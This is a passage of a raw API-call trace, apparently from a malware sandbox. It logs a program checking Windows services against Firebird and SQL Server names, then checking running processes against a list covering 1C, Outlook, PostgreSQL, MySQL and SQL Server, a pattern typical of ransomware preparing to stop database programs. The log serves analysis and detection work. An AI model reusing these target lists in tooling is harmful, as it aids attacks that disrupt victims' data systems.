returned 1 [0164.370] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.370] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.370] lstrlenW (lpString="AudioSrv") returned 8 [0164.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0164.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0164.370] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0164.370] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0164.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0164.371] lstrlenW (lpString="BFE") returned 3 [0164.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.371] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.371] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.371] lstrlenW (lpString="CryptSvc") returned 8 [0164.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.371] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.371] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.371] lstrlenW (lpString="CscService") returned 10 [0164.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0164.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0164.371] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0164.371] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0164.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0164.371] lstrlenW (lpString="DcomLaunch") returned 10 [0164.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.371] lstrlenW (lpString="Dhcp") returned 4 [0164.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.372] lstrlenW (lpString="Dnscache") returned 8 [0164.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.372] lstrlenW (lpString="DPS") returned 3 [0164.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.372] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.372] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.372] lstrlenW (lpString="eventlog") returned 8 [0164.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0164.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0164.372] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0164.372] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0164.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0164.372] lstrlenW (lpString="EventSystem") returned 11 [0164.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.372] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.372] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.372] lstrlenW (lpString="gpsvc") returned 5 [0164.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.372] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.372] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.372] lstrlenW (lpString="iphlpsvc") returned 8 [0164.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.373] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.373] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.373] lstrlenW (lpString="LanmanServer") returned 12 [0164.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.373] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.373] lstrlenW (lpString="lmhosts") returned 7 [0164.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.373] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.373] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.373] lstrlenW (lpString="MMCSS") returned 5 [0164.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0164.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0164.373] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0164.373] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0164.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0164.374] lstrlenW (lpString="MpsSvc") returned 6 [0164.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.374] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.374] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.374] lstrlenW (lpString="Netman") returned 6 [0164.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0164.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0164.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0164.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0164.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0164.374] lstrlenW (lpString="netprofm") returned 8 [0164.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.374] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.374] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.374] lstrlenW (lpString="NlaSvc") returned 6 [0164.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.374] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.374] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.374] lstrlenW (lpString="nsi") returned 3 [0164.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.374] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.375] lstrlenW (lpString="PcaSvc") returned 6 [0164.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.375] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.375] lstrlenW (lpString="PlugPlay") returned 8 [0164.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.375] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.375] lstrlenW (lpString="Power") returned 5 [0164.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.375] lstrlenW (lpString="ProfSvc") returned 7 [0164.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.375] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.376] lstrlenW (lpString="RpcSs") returned 5 [0164.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.376] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.376] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.376] lstrlenW (lpString="SamSs") returned 5 [0164.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.376] lstrlenW (lpString="Schedule") returned 8 [0164.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.376] lstrlenW (lpString="SENS") returned 4 [0164.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.376] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.377] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.377] lstrlenW (lpString="Spooler") returned 7 [0164.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.377] lstrlenW (lpString="SysMain") returned 7 [0164.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.377] lstrlenW (lpString="Themes") returned 6 [0164.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.377] lstrlenW (lpString="TrkWks") returned 6 [0164.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0164.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0164.377] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0164.377] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0164.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0164.377] lstrlenW (lpString="UxSms") returned 5 [0164.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0164.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0164.378] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0164.378] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0164.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0164.378] lstrlenW (lpString="WdiServiceHost") returned 14 [0164.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0164.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0164.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0164.378] lstrlenW (lpString="WdiSystemHost") returned 13 [0164.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0164.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0164.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0164.378] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0164.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0164.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0164.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0164.378] lstrlenW (lpString="Winmgmt") returned 7 [0164.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0164.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0164.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0164.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0164.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0164.378] lstrlenW (lpString="WPDBusEnum") returned 10 [0164.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0164.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0164.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0164.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0164.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0164.381] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.381] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.381] lstrlenW (lpString="System") returned 6 [0164.381] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0164.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0164.382] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.382] lstrlenW (lpString="smss.exe") returned 8 [0164.382] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0164.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0164.382] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.383] lstrlenW (lpString="csrss.exe") returned 9 [0164.383] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.383] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.383] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0164.383] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.383] lstrlenW (lpString="wininit.exe") returned 11 [0164.383] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0164.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0164.383] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0164.383] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0164.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0164.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0164.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0164.384] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.384] lstrlenW (lpString="csrss.exe") returned 9 [0164.384] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.384] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.384] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.384] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.384] lstrlenW (lpString="winlogon.exe") returned 12 [0164.385] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.385] lstrlenW (lpString="services.exe") returned 12 [0164.385] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.385] lstrlenW (lpString="lsass.exe") returned 9 [0164.385] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0164.386] lstrlenW (lpString="lsm.exe") returned 7 [0164.386] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.386] lstrlenW (lpString="svchost.exe") returned 11 [0164.386] Process32NextW (in: hSnapshot=0x1b4, 